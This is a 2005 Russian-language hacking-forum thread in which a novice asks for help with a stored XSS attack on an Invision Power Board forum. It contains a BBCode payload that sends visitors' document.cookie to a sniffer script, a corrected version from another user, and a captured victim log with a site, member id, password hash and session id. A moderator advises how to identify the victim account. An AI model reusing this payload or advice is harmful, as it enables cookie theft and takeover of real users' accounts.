Вопрос про проведении атаки класса XSS, в форуме Invison Power Board

Discussion in 'Песочница' started by Demon, 21 Jun 2005.

  1. Demon

    Demon New Member

    Joined:
    20 Jun 2005
    Messages:
    8
    Likes Received:
    0
    Reputations:
    1
    Здравствуйте! Объясните ламеру что не так: прочитал статью про взлом Invision(4 часть)
    создал топик с таким скриптом:
    [COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.images[68].src="/cgi-bin/s.jpg?"+document.cookie) [/COLOR]
    он преобразовался в:
    '>` style=background:url(javascript:document.images[68].src="/cgi-bin/s.jpg?"+document.cookie)
    и никакие логи сниффера мне не приходят. Подскажите пожалуйста что я не так делаю.
    Спасибо
     
  2. Rebz

    Rebz Super Moderator
    Staff Member

    Joined:
    8 Nov 2004
    Messages:
    4,055
    Likes Received:
    1,532
    Reputations:
    1,128
    Эту багу уже пофиксили давно))

    "никакие логи сниффера мне не приходят" - они к тебе и не должны приходить. Логи на всеобщем обозрении лежат)).
     
  3. Rufas

    Rufas Banned

    Joined:
    13 Jun 2005
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    HTML:
    [COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.images[0].src="/cgi-bin/s.jpg?"+document.cookie) [/COLOR]
     
  4. Demon

    Demon New Member

    Joined:
    20 Jun 2005
    Messages:
    8
    Likes Received:
    0
    Reputations:
    1
    а если я подписался на рассылку логов то они же должны были прийти ко мне на мыло. И вот пришел один лог:
    REFERER: http://sapr2000.ru/invision/index.php?showtopic=926&hl=
    QUERY: b=b; invisionmember_id=628; invisionpass_hash=c163a733c3d40d524762af18b5562c75; invisionqr_type=0;
    invisionforum_read=a:4:{i:0;i:1119275520;i:25;i:1113983630;i:7;i:1117605897;i:49;i:1118139355;}; invisionanonlogin=-1;
    invisionsession_id=60369d110e78a006a2da1854d403199b; invisionmodtids=,;
    invisiontopicsread=a:2:{i:6596;i:1119330745;i:6634;i:1119330773;}
    AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
    как я понял id юзера 628, а его хеш - c163a733c3d40d524762af18b5562c75
    но как мне узнать какой ник соответствует этому номеру?
     
  5. Rebz

    Rebz Super Moderator
    Staff Member

    Joined:
    8 Nov 2004
    Messages:
    4,055
    Likes Received:
    1,532
    Reputations:
    1,128
    Ах да..)) сорри, действительно, совсем забыл что можно подписаться)

    Посомтри а Members или в урле бразуера... какой id соответствует юзеру.